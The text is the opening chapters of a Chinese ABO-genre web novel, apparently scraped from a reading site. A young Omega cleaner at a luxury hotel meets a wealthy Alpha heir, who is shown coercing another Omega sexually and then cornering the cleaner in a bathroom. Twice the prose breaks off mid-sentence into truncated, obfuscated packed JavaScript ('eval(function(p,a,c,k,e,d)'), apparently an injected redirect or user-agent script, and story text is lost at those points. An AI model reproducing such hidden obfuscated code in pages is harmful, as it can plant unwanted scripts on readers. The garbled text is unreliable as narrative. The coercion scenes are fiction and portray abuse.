《上流人渣ABO》 1. 第 1 章 《上流人渣[ABO]》 栖子七/文/晋江独发 _________________ “小风,小风?” 冉小风回过神,对上蒋琳的视线,蒋琳也不恼,面前这张脸清秀俊美,五官小巧端正,尤其是那双水汪汪的眼睛,总像蒙了一层雾,仿佛游离在世界之外,任谁看了都发不出脾气,她笑着问,“你想什么去了?” “……对不起。”冉小风低下头,眨了眨眼睛,态度诚恳,“对不起,我刚刚走神了。” 蒋琳看着他的头顶,无奈地叹了口气:“没什么,刚到这种环境来,会有些懵也正常,不过你还是要尽快适应,虽说这项工作不难,就是搞搞清洁卫生,但也有不少人盯着,我在这层楼负责了两年,员工已经换了好几批了,你要是想在这里稳定下来,就得拿出你的表现。” 冉小风看向蒋琳,坚定地点了点头:“我会的!” 蒋琳笑道:“走吧,我带你去熟悉一下情况。” “好。” 冉小风跟在蒋琳后面,走过一个又一个房间,大部分房间人员总在变动,她没说什么,只有少数房间住着常客。 每个顾客的性格、喜好,蒋琳一边说,冉小风一一记下,他必须熟悉这些顾客,以免未来遇见时得罪了他们。 这栋楼位于城市中心,一共45层,231个房间,是这个城市最豪华的酒店,穆世酒店。 能够住进这家酒店的,都是身价极高的富豪,从第20层开始,入住的皆是富有名利的上流人士。 他们在这里召开会议、放松休闲、联谊聚会,随便哪一个人,都拥有数不尽的财产,汇聚在一起,更是掌控着经济与权力的大半边天。 冉小风所负责的楼层,正好是第20层,总共10个房间,目前有两个居住着常驻顾客。 “在这个地方,你一定要记住的一点,就是不要多话。”蒋琳道,她扫视冉小风,忽然问,“你几岁了?” 冉小风道:“再过两个月就26了。” “26啊,真年轻,而且你这模样,说20岁都有人信,那你更得把这句话刻在脑子里。”蒋琳的表情有些严肃,“之前走的那几名员工,几乎都是因为多话才被赶走,能住进这种酒店的,都是见过大世面的人,他们的生活环境和普通人不同,想法更是不一样,你不会知道你的哪句话会激怒他,所以干脆什么也别说。” 冉小风的手微微攥紧,道:“嗯,我知道了。” 蒋琳脸上缓和下来:“我看过你的简历,虽然你年纪不大,但你的经历比大多数同龄人都丰富,这也是我挑选你的原因,即使你是一个Omega……” “我是劣等Omega。”冉小风急忙道,他意识到自己反应有些大,抿了抿唇,“就是……具备Omega的特征,但实际和Beta差不多,只要正常吃药,就不会散发信息素,也不会受到Alpha的信息素影响。” “我知道,看到你介绍后面的解释,我特意去查了一下。”蒋琳叮嘱道,“那你一定要按时吃药,如果出了什么差错,我没法给你第二次机会。” 冉小风点头,坚定道:“我知道,我绝对不会出差错的。” 这项工作有多来之不易,只有他自己清楚。 他出生时便住在孤儿院,压根儿不知道自己爹妈是谁,据院长所说,有人在桥洞底下捡到他,抱去警局找了几天,但那附近太偏僻,监控只是个摆设,他们没找到扔下他的人,只好将他送到孤儿院来。 他在孤儿院长大,从小成绩优异,性格乖巧,院里的人都很喜欢他,奈何他第一次体检,检查单显示为劣等Omega,纵使自己再怎么优秀,也一直没人领养他。 他自己倒是无所谓,在孤儿院里生活很自在,大家人也好,但院长还是急着将他送出去,在他十岁那年,他终于被一对夫妇认领了,他去了一个陌生的家,家境普通,养父母对他关爱有加,很快便适应了新环境。 但他没想到的是,这一切都只不过是他们演出来的一场戏。 院长这么急着送人,是因为那孤儿院面临倒闭,上头不给补贴,院里入不敷出,院长自己垫了好些钱进去,到最后也无能为力,只能尽快将院里的孩子安置好,之后便关了门。 冉小风去新家不过三个月,养父母开始夜不归宿,甚至几天不回家,回来时也总是醉醺醺,除了睡觉什么也不干,睡到自然醒后又离开。 起初还给冉小风一点钱,后来越给越少,越给越少,他鼓起勇气去要,却惹来一阵谩骂,有时候两三天都没钱吃饭,饿得肚子咕咕叫,他闻着隔壁的菜香味喝白开水充饥,后来实在没办法,跑去敲响了隔壁的门。 隔壁邻居是几个刚毕业的女生,热情招待他,知道了他的情况,都愤愤不平,甚至想要带他回孤儿院,解除现在的关系。 然而电话打过去,他才知道孤儿院已经倒闭了,他再也回不去那个大家庭,邻居姐姐们又替他报了警,以剥夺九年义务教育为由,将那对养父母抓了回来,无奈之下,他们只好供他读书,给他足够活着的钱,但还是几天几天地不回家。 冉小风重新进入学校,凭借自己亲切的性格和优异的成绩,结识了不少好朋友,他不再在意那对不回家的父母,专心于自己的生活,他如愿考入那里最好的初中,进了最好的班级,继续稳固着自己的成绩。 他就这么顺利进入重点高中,甚至因为优异的成绩,拿到了高于三年学费的奖学金,那时的他对未来充满希望,即使自己没有一个像样的家庭,但他还是对世界报以感恩,至少他有一副健全的身体,还有一个不算笨的脑袋。 在高一第一学期结束以前,他都觉得自己是幸运的。 直到那个暑假,几个陌生人忽然闯进他家,将家里洗劫一空,还将他抓出来痛打一顿,告诉他自己那对不怎么回家的养父母,欠下了巨额赌债。 那房子被做了抵押,养父母依旧不见踪影,他在学校住了一段时间,各式各样的谣言四起,要债的找了他好几次,威胁恐吓他还钱,几人严重影响了学校,就连校长都找他谈话。 就这么拖了一段时间,他终于抵抗不住,办理了退学,告别了他原本定下的理想。 他又一次成了无家可归的孤儿,只不过这次,他还背负了养父母的债务,那债主还算有点良心,见他年纪太小,只叫他还清一部分钱。 他因为年龄,只能找一些没人管制的工作,经常被坑,有时候累死累活做完事,却拿不到钱,也只能自认倒霉。 回首那段黑暗的时光,连冉小风自己都忍不住感慨,他这么多年到底是怎么熬过来的。 一方面要养活自己,另一方面还要还那一屁股债务,只要能赚钱,他什么脏活累活都做过,硬是靠着积攒下来的钱,还完了债。 现在的他没有像样的文凭,也没有像样的家庭,只有做苦工练出来的好力气。 或许正因如此,他的履历足够清爽干净,才会被蒋琳看中。 就连他自己都没想到,当初抱着试试的心态发送的简历,竟然真的会被看上。 虽然只是一名保洁员,但能在这种环境下工作,和其他地方比起来,简直好上一万倍。 薪水也相对高上许多。 蒋琳带冉小风走完整条路线,在尽头的一间小屋前停了下来。 她将钥匙递给他:“这里是休息间,平时工作完可以在这休息。” 冉小风接过钥匙,打开小屋,屋子空间不大,只有一个长条沙发和一张桌子,角落的柜子已经放满了东西,应该是其他人的。 “休息间是共用的,除了你,还有十来个员工会过来,不过你们的工作时间几乎错开,每次最多只有两三个人一起呆在这儿。”蒋琳解释道,“你可以在这里休息一下,顺便看看墙上贴的时间表,表还没更新,你看七号员工的时间就行,到点就可以开始工作了。” “好。”冉小风道。 蒋琳交代得差不多便离开了,冉小风走进休息间,第一时间找到时间表看起来。 说是要他休息,但其实并没有多少休息的时间,再过十分钟,也就是下午一点,他就要进行他的首次工作。 他需要清洁4间客房,以及公共走廊和公用卫生间,这些工作要在3个小时以内完成。 冉小风从包里拿出工作服,快速换上,推着清洁工具车走出休息间。 4间客房里都没有人,冉小风顺着房号整理,他曾经在一家小酒店做过一段时间酒店保洁,对清洁步骤很熟悉,工作起来干净利索。 他将一间客房的清洁时间控制在30分钟,迅速完成了前3个房间的任务,他走到最后一个房间,稍稍休息了1分钟,这才敲门进去。 门一打开,一股浓郁的香气扑面而来,仿佛有双无形大手,扼住冉小风的喉咙。 是Alpha的信息素! 冉小风捂住口鼻屏住呼吸,那个味道却依然挥之不去,他的心脏很快剧烈跳动起来,每一下都牵扯着神经,震得脑子阵阵发晕,腿也跟着发软。 自己的本能瞬间激发了出来。 他迅速关上门,倚着门框,抑制不住地轻喘。 为什么……为什么?他是劣等Omega,就算有一个易感期的Alpha在他眼前,他也不会产生丝毫动摇才对。 可为什么仅仅是闻到这个遗留在屋内的气味,他就会产生如此剧烈的反应? 这个房间住的Alpha……是谁? 冉小风强迫自己清醒过来,感觉手捂住的皮肤发着烫,他关上门,推着工具车,快步朝不远处的卫生间走去。 他走到最里面的那间,将自己关进去,抖着手在身上摸索,从衣服内侧的口袋里找到抑制药,连忙吃了下去。 尽管刚才那股气味还未完全消散,但抑制药很快起了作用,冉小风逐渐冷静下来。 他庆幸还好自己随身备着药,他是劣等Omega,没有发情期,就连诱导发情都极其困难,平时极少需要吃药。 如果他这次没有准备药,恐怕还没正式上任,就要失去这份工作了。 他回忆着刚刚发生的事情,不经蹙起眉。 他长这么大,遇见过不少Alpha,以前在各处打工时,还撞见过处于易感期的Alpha,也没有像这一次这样反应剧烈。 那个Alpha甚至不在房间,仅仅只是闻到遗留的气味……果然上流世界的Alpha,和普通人比起来也很不一样,看来以后得按时吃抑制药才行。 冉小风闭上眼,缓缓输出一口气,抑制药的效果很好,但也存在一定的副作用,吃完后会浑身乏力,大概半个小时才能有所缓解。 冉小风坐在马桶上昏昏欲睡,忽得听到一串嘈杂的声音,几个人的脚步声同时响起,在单间附近停了下来。 “……哥,你们饶了我吧。”一个男人哀求道,“我再也不敢了,我现在就走,从你们眼皮子底下完全消失。” “不敢了?该做的都做完了,现在说不敢有屁用!”另一个男人道。 他的声音听上去很愤怒,似乎是动手推搡了对方,冉小风听到身体撞在墙壁上的声音。 他紧张得大气都不敢出,如雕塑般僵硬地坐在马桶上。 被推的男人发出呜咽声,却没有博得任何同情。 他继续哽咽着求饶:“我错了,我真的知道错了,我一时鬼迷心窍,我……” 他终于泣不成声,一个字也说不出来。 对面的男人还想说话,却被打断了,第三个声音响了起来。 “跟我睡是不是很爽啊?”那声音透着慵懒,却高贵傲慢,仿佛一切在他眼里都是低等的,他的语气里甚至带笑,说出来的话却令人可怖,“那强效药对你们身体危害很大吧,为了爬我的床,连命都不想要了?” “穆哥,我说的那些话都是真的,我……我太缺钱了,我妹妹她好不容易考上好大学,我不能害她因为没钱上不成啊。” 被叫穆哥的人冷笑一声:“那你有没有想过,要是变成现在这种情况,你妹妹会怎么样?” 这话一说出来,那人更是忐忑,无措道:“穆哥,穆哥!你怎么罚我都行,求你别伤害我妹妹。” “现在在这假模假样,你早干嘛去了!”推他的男生又接过话来,厉声道,“你不知道我们穆与少爷闻不得Omega的信息素?万一出了什么意外,你这条贱命负得起责吗!” “张世诚,行了,你吓到他了。”穆与道。 张世诚听话地闭了嘴,眼睛还瞪着,穆与走到那人面前,居高临下地俯视着他。 “这事儿跟你妹妹没关系,我不喜欢乱伤无辜。”穆与道,“你在这儿把衣服脱了,自己做,如果没让我身体不适,这事儿就过了,但是要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冉小风瞬间清醒了过来,感觉自己多半是要完蛋,他低下脑袋,想了半天也想不出该说什么,只好保持沉默。 他感觉到上方炙热的视线,似乎过了好半天,才听到头顶传来声音:“你是新来的?” 冉小风怔了一下:“是的。” “刚来就知道躲厕所逃避工作?” “不,不是。”冉小风忙道,他千想万想,都想不到在现在这种情况下,这人居然有心情问这些,他暗暗咽了下口水,道,“我只是过来上个厕所,现在正准备继续清理……” “上厕所?”穆与语气带着笑,“那怎么跑到Alpha的厕所来,你上任前没有做过培训吗?” “……”冉小风心脏狂跳,这次是真的慌了,他没有做过培训,但他以前做过类似的工作,蒋琳主管也提醒过他,能进入这样的高档酒店的Alpha,都是地位不低的群体,他们最讨厌领地被侵犯,即使是公用场地。 会撞上这样的场景,也是因为进错了厕所,不管怎么看,都是他的问题。 他觉得自己太冲动,明明这样做也改变不了什么,他一个无权无势的小清洁工,能阻止他们什么呢?现在还把自己搭进去了。 但如果再给他一次机会,他还是会做同样的事,他捏紧拳头,嘴唇咬的泛白,自暴自弃地想,反正也没办法在这里继续干下去,不如赶紧拉着那个Omega逃跑。 干脆报警好了,让警察来解决。 冉小风脑子里一通胡思乱想,嘴巴却闭得死死的,一句话也说不出来。 “2008号房间清理了吗?”穆与忽然问。 冉小风回神:“正准备去。” “那赶紧去吧,过会儿我就要回去了。” “……” “怎么了,你还有事?” “……没有。”冉小风道。 他感觉疑惑,这个穆与刚才还逼迫别人做那样的事,现在就这么简单放过他了? 但对方已经让他走,他没有办法继续待下去,他直起身子,最后鼓起勇气,往墙角那里看了眼,他没有注意到,自己略显担忧的眼神,被穆与尽收眼底。 他犹犹豫豫,还是多嘴了:“那个Omega……” 穆与倒是一脸平静,好像刚才什么事都没发生:“嗯,你认识吗?” “……”冉小风看了那人一眼,“以前见过。” “这样啊。”穆与盯着冉小风,那眼神让他背脊发凉,每一秒都是煎熬,但就这么过了会儿,他却听到穆与说,“等他收拾一下,再和你叙旧,你先去做你的工作吧。” “……”冉小风迟疑着。 张世诚吼道:“叫你走就赶紧走啊!支支吾吾干什么!” 冉小风吓了一大跳,攥紧了工具车,他推着车缓慢地离开,好像自己的速度慢一点,就能让事情得以转机,让他们真的放过那个Omega。 直到他完全消失在视线当中,穆与都没有动作,他收敛了笑容,若有所思地盯着冉小风离开的地方。 张世诚也看着门口,问:“穆哥,就这么放他走吗?万一他出去瞎说咋办?” “瞎说也无所谓,没人会在意,而且他这么闯到这里来,说出去也是给自己惹麻烦。”穆与顿了顿,问,“你有没有闻到什么气味?” 张世诚疑惑地吸了吸鼻子:“没有啊,什么气味?” 他看了一圈,目光落在角落的Omega身上,瞋目道,“是不是你散发信息素了。” “我,我没有啊。”陆麋欲哭无泪,手还紧紧拽着裤腰,泪眼汪汪地看着穆与,“穆哥,我,我……” 他半天说不出一句完整的话,穆与一脸冷漠,似乎没了兴致,道:“赶紧滚吧。” “穆哥,谢谢穆哥!”陆麋几下穿好裤子,屁滚尿流地跑了。 张世诚抬了下手想拦,但穆与都这样说了,他只能眼睁睁看着他离开。 他问穆与:“他也就这么放走了?” 穆与耸了耸肩,也朝外走去。 沿途的各种气味中,唯有那一种最明显,仿佛有一根无形的线,指引着他寻找目标。 那股气味异常熟悉,在他鼻腔挥之不去,勾起他曾经的记忆。 穆与扯出一抹笑。 他找到更有趣的玩具了。 2. 第 2 章 冉小风刚走到穆与所住的房间门口,便听到身后的动静。 他扭过头,看到那个Omega慌乱地跑出来,踉踉跄跄地朝电梯跑去,人影刚消失,穆与和张世诚也一前一后出来了。 他没再继续看,用房卡扫开穆与的房间,推着车走了进去。 抑制药起了效果,虽然还能闻到Alpha的气味,但他的身体没有任何异常,他环顾四周,大概了解了房间的情况,房间大概是刚住没多久,除了床上有睡过的痕迹,桌上的水喝光了两瓶,其他地方都挺干净。 他拿出工具开始按流程整理,添置一次性用品、清理地面灰尘、替换干净的浴室用品和床上用品,清除垃圾。 当他去拿床边的垃圾桶时,手顿了顿,他看到桶里许多纸团,不免蹙了蹙眉。 虽然以前做类似工作时,连用过的避孕套都看过无数遍,但这次看着这些纸团,他总要想起刚刚在厕所发生的事情。 手机铃声忽然响了起来,冉小风回过神,摘下手套,从兜里拿出手机,竟是蒋琳打来的电话。 冉小风连忙接了:“蒋主管。” “小风啊,你开始工作了吗?” “嗯,已经清理了几个房间了,现在正在2008号房。” “2008号?你已经进去啦?”蒋琳的声音大了一些,道,“房里有人吗?” 冉小风如实回答:“没有。” “那还好……”蒋琳松了口气,叮嘱道,“那房间的客人身份特殊,你要是遇见了,一定小心点,牢记我今天跟你说的话,别把别人惹不高兴了。” “好,我知道了。”冉小风嘴上应着,心里只觉糟透了,他都撞见那种事儿了,还插手打断了他们,何止是把人惹得不高兴,简直是已经得罪了。 他顿了顿,状似随意地问,“蒋主管,这间房住的是什么人呀。” “穆与少爷,是穆世集团老板穆千鹤的小孙子,之前一直住在国外,最近大学毕业才重新回国。”蒋琳说这些话时语气都变严肃了,“他昨晚上突然搬进来,没走登记流程,所以我也是现在才知道这件事。” 冉小风没说话。 “他的房间你得重点关注,千万怠慢不得啊。”蒋琳道,“每天的用品必须全部换新的,任何角落都不要留下灰尘,你啊,也算是走了狗屎运,那少爷长年在国外,现在突然回国人生地不熟,年纪也轻,你比他大不了几岁,多在他面前表现表现,没准就混熟了,到时候在别人面前美言几句,说不定能给你提拔一下,哎呀,但我忘了他是优等Alpha,也不知道对你有没有影响,总之你自己留点儿心,实在套不了近乎就别瞎套,做好你分内之事就行了。” “我知道了,蒋主管。”冉小风再次应声,心里拔凉拔凉的。 他不仅没法套近乎,还做了不该做的事,人家现在已经认识他了,提拔是不太可能,解雇还差不多。 挂断了电话,冉小风已经开始寻思下一份工作,他去仓库拿了新的用品,回来重新换了一遍。 本想在穆与回来之前完成工作离开,但重新更换用品浪费了时间,他因为抑制药的副作用,效率也被迫降低,穆与回来的时候,他还在清理地面的灰尘。 他转身面对着穆与,无意间扫到穆与脸上冷淡的表情,连忙低下头:“对不起穆少爷,我还没有打扫完。” 穆与瞥了冉小风一眼,神色缓了缓:“没关系,你继续就好。” 冉小风重新蹲下来,趴在沙发边清理角落,他也不知是不是自己的错觉,明明背对着穆与,却能感觉到身后灼热的目光,搞得自己的动作都僵硬了不少。 他听到脚步声,抓着抹布的手一紧,穆与朝着他走了过来,在他身后停下。 Alpha的气场和信息素随着穆与的靠近压了过来,让他有点儿喘不上气,以前的他没机会遇见优等Alpha,在普通Alpha面前和Beta无异,直到今天他才知道,Alpha对Omega会有这样大的影响,甚至吃了抑制药都不管用。 也难怪这类工作只会招入Beta。 冉小风胡思乱想着,没注意到自己已经在同一个地方反复擦了很多次。 “浴室清理完了吗?”穆与突然问。 冉小风回过神,暗暗平复了一下呼吸:“清理完了,新的毛巾都换好了。” “嗯,你继续吧,我要洗个澡,洗完你再清理一次。” “好的……”冉小风嘴上应下,心里想的却是这下没法在穆与洗澡时溜了。 穆与脱下西装扔到沙发上,又勾着领带朝外扯了扯,最后将腕表摘下来放到茶几上,才往浴室走去。 直到人进了浴室关上门,冉小风才觉得重新活了过来,他呼出一口气,瘫坐在地上,看着自己手里的抹布愣神。 穆与只是在他身后站了一会儿,他就有这样强烈的反应,而且,他刚吃过抑制药。 他本在蒋琳面前信誓旦旦地承诺,现在却有些担忧起来了,连他自己都不知道,能不能继续胜任这份工作。 虽然这样的工作比比皆是,他想换一个很容易,但心里还是有些不情愿。 他才刚来这儿半天都不到呢…… 而且,这边的薪水比普通酒店高得多,环境也好得多。 浴室那边传来开门声,门被打开一道缝隙,穆与的声音从水声中传了出来:“冉小风,你还在吗?” 冉小风眨了下眼睛,从地上爬起来:“在。” “我的衣服掉地上打湿了,给我重新拿一套。”穆与道,“在衣柜最里层。” 冉小风愣了一下,穆与已经重新关上了门,他意识到,那句话根本不是找他帮忙,而是在吩咐他做。 他走去衣柜前打开,许是刚搬进来,里面挂着的衣物不多,他一眼便看见挂在角落的家居服。 和穆与今日穿的正装不同,家居服是淡粉色的,不仅如此,冉小风发现衣柜里的其他衣服也都以休闲服为主,沙发上放着的那件西装算是唯一一件正式的服装。 他摘下清洁手套,想了想又脱了工作服,拿过消毒酒精在手上喷了几下,才伸手将那一套睡衣拿出来。 冉小风走到浴室前,轻轻叩响了门:“穆少爷,拿过来了。” 门再次被打开一道缝,冉小风将衣物递了进去,刚欲抽出手,却被穆与从里面拽住了。 他心中一惊,还没反应过来,就被一股蛮横的力道拽进了浴室里。 穆与将他禁锢在洗手池前,身体几乎和他贴在一起,身上的水浸湿了他的衣服,在上面氤出一个个圆点。 冉小风的背抵着水池瓷砖,还没来得及感知凉意,就被铺天盖地的热气熏得眩晕。 他抬起头,眼里满是慌乱:“穆,穆少爷,你这是干什么?” “慌什么啊,我又不会吃了你。”穆与无所谓地道。 他垂眸看着冉小风,隔着蒙蒙雾气,那张脸像被装了一层滤镜,比平时看着更加柔美动人。 穆与头发上的水滴落在冉小风露出来的脖子上,又顺着颈窝沁入领口,他意识到自己抓着的手腕十分纤细,身上的单衣被水浸湿,紧紧贴着冉小风的身体,更衬出他单薄瘦削的轮廓,仿佛轻轻一捏就能碎。 连他自己都没想到,明明过去了这么多年,他还是在闻到冉小风信息素的瞬间认出了他,这个味道曾让他朝思暮想,如今依旧令他欲罢不能,他恨不得现在就扣住冉小风的脖子,对着腺体咬下去。 他暗自舔了舔牙尖,强忍下内心的冲动,恶作剧一般释放了更多信息素出来。 这味道闻得冉小风脚下发软,阵阵发晕,他强撑着身体往后仰,尽力离穆与远一点,却无济于事,穆与的体温隔着布料传过来。 他不明白穆与想干什么,为什么信息素的气味越来越浓?为什么要把他抓进来?是已经发现他是Omega了吗? 他想起在厕所时那个Omega的遭遇,后知后觉感到害怕,指尖下意识颤抖,手上的衣服没拿稳,全掉在了地上。 冉小风抿了下唇:“穆少爷,衣服……” 他趁机想抽回手,却被穆与更用力地握住。 穆与的脸又凑近了一些,问:“你一个Omega,为什么被允许来这里工作?” “……我是劣等Omega。”冉小风道,“就是信息素几乎闻不到,也不受Alpha影响,和Beta差不多。” “这样啊,那你现在怎么解释?”穆与笑了笑,另一手按住冉小风的后颈,“我只是随便释放了一点信息素,你这里就烫得不行,我的房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话还没说完,浴室门打开了,穆与带着一身热气站在门口,拿着毛巾擦头发。 冉小风抿了抿唇,别开视线,先将裤子递了过去。 他听到穆与若有似无的笑声,接过裤子穿上,又随手将毛巾扔在洗手池上,拿了衣服边穿边往外走。 冉小风望了浴室一眼,问:“浴室要现在清洁吗?” “嗯。”穆与已经大步流星走去沙发前坐下,倚靠着沙发靠背道,“下午一起吃个饭吧,算我给你赔不是。” “……不用的。”冉小风违心地说,“您没有做错什么,是我冒犯您了。” “好吧。”穆与道,就在冉小风松一口气时,又听到他说,“那就单纯吃个饭,不为别的。” 冉小风:“……” 穆与压根没看他脸上的不情愿,擅自拨通了电话:“喂?我是穆与,帮我定个餐,对,还是那家,两个人。” 他将手机移开了些,扭头问:“你有没有什么忌口?” “……没有。” 穆与重新贴上手机:“都跟以前一样。” “……” 晚饭的事就这么定了下来,冉小风连拒绝的余地都没有,他沉默地拿回工作服穿上,走进浴室清洁,原本十分钟就能完成的任务,愣是被他拖了将近半小时。他甚至想着要不要多加会儿班,熬到穆与饿到不行自己去吃饭。 等他抱着需要换洗的毛巾衣服出来,穆与竟然靠在沙发上睡着了,他脚步顿了顿,将手里的东西扔进工具车,再走去拿茶几边的抹布时,脚步都有意识放轻。 他朝穆与瞟上一眼,一下就没忍住,多看了好几眼。 睡着的穆与和醒时截然不同,原本就柔和的五官,在安静下来后甚至有一丝乖巧,根本让人想不出这样的人竟会做那些丧尽天良的事。 不得不说,穆与的脸真是比那些电影明星还要完美,如果不去想这人做的事,单看这张脸,可谓是赏心悦目,不仅好看还耐看,一点儿毛病也挑不出。 他担心吵醒穆与,拿了抹布就轻手轻脚地走了。 房间已经全部清理完,只剩公共区域,他快速清洁完,将工具车和工作服放回原位,又去卫生间洗了把脸,散了会儿汗味才重新走去穆与房间。 3. 第 3 章 冉小风自己都不清楚,自己是抱着怎样的心态敲门的,或许是领导的要求不能忤逆,也或许是他信守承诺的习惯,反正和穆与出去吃饭这事儿,是迫于无奈,绝非他自愿。 他在门口等了一会儿,穆与过来打开了门,脸上还带着些倦意:“工作结束了?” 冉小风点点头。 穆与往后退了一步:“先进来吧,我换个衣服就出发。” 冉小风没动:“我在外面等着就好。” 穆与撇撇嘴,倒也没坚持,关上门没多久,就换好了衣服出来。 他没再穿他那身紧绷的西服,而是随意挑了件t恤,配一条宽松的休闲裤,倒给他增添了几分少年气,看起来真像个刚大学毕业的应届生。 但冉小风知道,就这么一身看似普通的衣服,价格肯定不菲,他对品牌不太了解,也认得出几个出名的,穆与的t恤上就有他认识的标志,光一件就要抵他一个月的工资。 冉小风默默跟在穆与身后,低头看着地板,他虽然从不因自己的身世自卑,但也有自知之明,他就是个普通人,就算努力奋斗一辈子,也赶不上富人拿的零花钱,可如今自己要跟这样的人走在一起,甚至还要共进晚餐,他实在没法不产生些想法。 他今天第一天来这儿上班,穿的家里最好的一套衣服,也已经买了快两年了,当时买的时候,打完折才一百多,他平时都穿十几二十块钱的衣服,也就冬天的稍微贵点儿,这一百多的衣服他穿得少,只在重要场合拿出来穿一下。 冉小风就这么沉默地胡思乱想着,穆与也没注意,他两手插在裤兜里,走得悠悠哉哉,甚至还哼着英文歌,看上去心情很好。 等进了电梯,他才开口道:“你是想打车去,还是开车去?” 冉小风回过神,道:“我都行,听您的。” 穆与笑起来:“我更倾向于开车,但我拿的国外的驾照,回国还没来得及转,你有驾照吗?” “……没有。”冉小风道。 他压根不觉得自己近十年,不,近三十年会买车,如果真有那笔钱,他更想买一套属于自己的房子。 穆与有些遗憾地叹了口气,边拿手机边道:“那还是打车好了。” 他在软件里叫了车,两人走出酒店,没一会儿,一辆颜色亮丽的轿车停在他们面前,冉小风不认识,但也知道这车肯定很昂贵。 司机穿着工作服,下车朝两人行礼,又主动开关门,招待好了他们才重新回到车上。 这待遇,怎么想也不可能是普通出租车,冉小风头一回体验,倒还觉得挺新奇。 车里很干净,身下的坐垫也无比柔软,冉小风屁股刚贴上,就觉得自己整个人在朝下坠,不自觉地躺进靠背里。 以前他一直觉得,车只是一个代步工具,价高价低都大差不差,只是为了通过价值满足自身虚荣心罢了,现在自己亲身体验了才知道,贵有贵的道理。 他望着车顶眨了眨眼,从来没像现在这般放松过,大脑一瞬间便放空了。 穆与注意到他的表情,好笑道:“有这么舒服吗?” 冉小风回过神,有些难为情地扭了扭腰,头也低了下来。 穆与凑近他,语气里带着些自豪:“这就是辆基础配置的车,骗骗不懂行的,我的车比这辆舒服多了,回国以后先提了三辆,刚回车库,等我驾照转好了,带你出去玩儿,你挑哪辆都行。” 穆与一番炫耀,对冉小风来说却跟对牛弹琴差不多,他半天才挤出两个字:“谢谢。” 其实心里根本没把穆与的话当回事,他可不觉得穆与还会带他出去玩儿。 这两个字直接将话题截断,搞得穆与格外憋屈,眼中闪过不快的情绪。 他以前带人出来玩儿,都不需要自己说什么,那些人自会主动凑上前追捧他,他随手抛出的橄榄枝,总会有人视若珍宝地接住。 在国外的时候,他哪里需要邀请别人,都是别人想方设法地求着坐他的车,知道他要去哪里,都屁颠屁颠地凑上来。 结果自己头一次提出邀请,却被这样泼冷水,对方还是个一无是处的清洁工。 只怕就是因为没见过世面,压根儿听不懂他说的意思吧。穆与心中烦闷,面上也冷了下来,自讨没趣地扭头看向窗外,再没说一句话。 冉小风哪知道穆与心中所想,他甚至没发现穆与在生闷气,穆与安静下来,他自然也不会主动打破现在的沉寂,也扭头看向窗外。 这车隔音效果很好,窗外的声音全被挡在了外面,一座座建筑向后移动,各式各样的人群也闯入视线又快速消失,就像在看一场无声的电影。 要放在以前,冉小风哪有闲情雅致欣赏这些风景,他的生活只有接连不断的打工,大脑也被赚钱和还债填满,每天起早贪黑,就为挣那一笔保命钱。 可现在,他没有那些顾虑了,他在车里恍惚许久,才终于真正适应了现在的情况,身体也完全放松下来。 连他自己都不知道,他什么时候闭上了眼睛,头抵着窗沿睡了过去。 - 冉小风是被司机叫醒的,他睁眼的时候,车门已经打开,那司机见他醒了就收回手,站在一旁守着他下车。 他花了两秒清醒过来,尴尬地从车里钻出来,还险些绊一跤。 餐厅的大门就在他眼前,光从外面看,装潢就可见一斑,冉小风跟在穆与后面,趁着走路的时间,拿出手机打开了导航软件。 他查了查这里离家的距离,悲哀地发现这边是酒店回家的反方向,原本就要花一个半小时回家,现在还得再加半小时。 等在这里吃完饭,再回到家,今天估计就结束了,冉小风心中叹气,乞求这餐饭能吃得快一点儿。 刚进餐厅,工作人员便齐齐围了上来,为首那个看着像经理,对着穆与点头哈腰:“穆少爷来啦,包间都准备好了,还是上次那间,我现在带您上去?” 穆与摆摆手道:“那地方我都走熟了,不用带。” “哎哟,那哪儿行啊,您跟我走吧,其实我有点儿事想找您了解呢。”经理说完,执意领着二人,贴在穆与身边笑嘻嘻地说,“您那边不是马上要给穆总办七十岁寿宴吗?正好这两天我们店推出了几道新菜品,想请教请教您,看合不合她老人家口味,要是可以的话,到时候我把我这边的几个大厨都喊过去帮忙。” 穆与点点头:“你现在说我也记不住,你找人写下来,我拿回去问问我奶奶。” “诶,好,好。”经理连声应下。 他一路不忘对着穆与阿谀奉承,把穆与哄得开开心心,倒是没冉小风什么事,好像穆与随便带个人过来,是司空见惯的事情。 从穆与打电话时就能听出来,这地方穆与常来,他绝不是第一个带来的人。 他看着前面两人的背影,又想到在厕所发生的事,心中很不是滋味。 也不知道那个Omega来过这里没有,他现在到这儿来,周围人会怎么想他? 不会以为他是那种人吧…… 冉小风越想越膈应,话也不想说了,进了包间,一看房里的场景布置,更是难受到恨不得直接走人。 这包间不小,但真正吃饭的地方不过窗边小小的一隅,桌上还摆着显眼的花瓶,里面插着几束艳丽的玫瑰。 餐桌以外的地方则摆放着沙发、吧台,甚至还有一个独立卫浴间,要是再放张床,跟宾馆差不多。 冉小风虽然见识少,但也不傻,这样精心设计的布局,怎么看都不是光为了来吃饭的。 经理将他们带进来,适时地结束了对话,询问了上菜时间便离开了。 冉小风见穆与已经坐了过去,不情不愿地在他对面坐下。 “这餐厅还不错吧?”穆与道,他倚着板凳靠背,笑着看冉小风,夕阳正好从他身后照进来,给他的发梢镶了层金边,明明一身宽松的休闲装,却愣是穿出了风流的气质。 他继续道,“是我朋友家的,刚开没多久,本来说回国后来捧个场,没想到味道挺不错,我来了不少次了。” 冉小风不知道回什么,默默点了点头。 穆与没怎么在意他的态度,问:“说起来,你真的认识陆麋?” 这冷不丁的问题让冉小风心中一颤,他从来没听过这个名字,好在他很快反应过来,这大概是那个在酒店厕所发现的Omega。 冉小风含糊道:“只是见过,不太熟。” 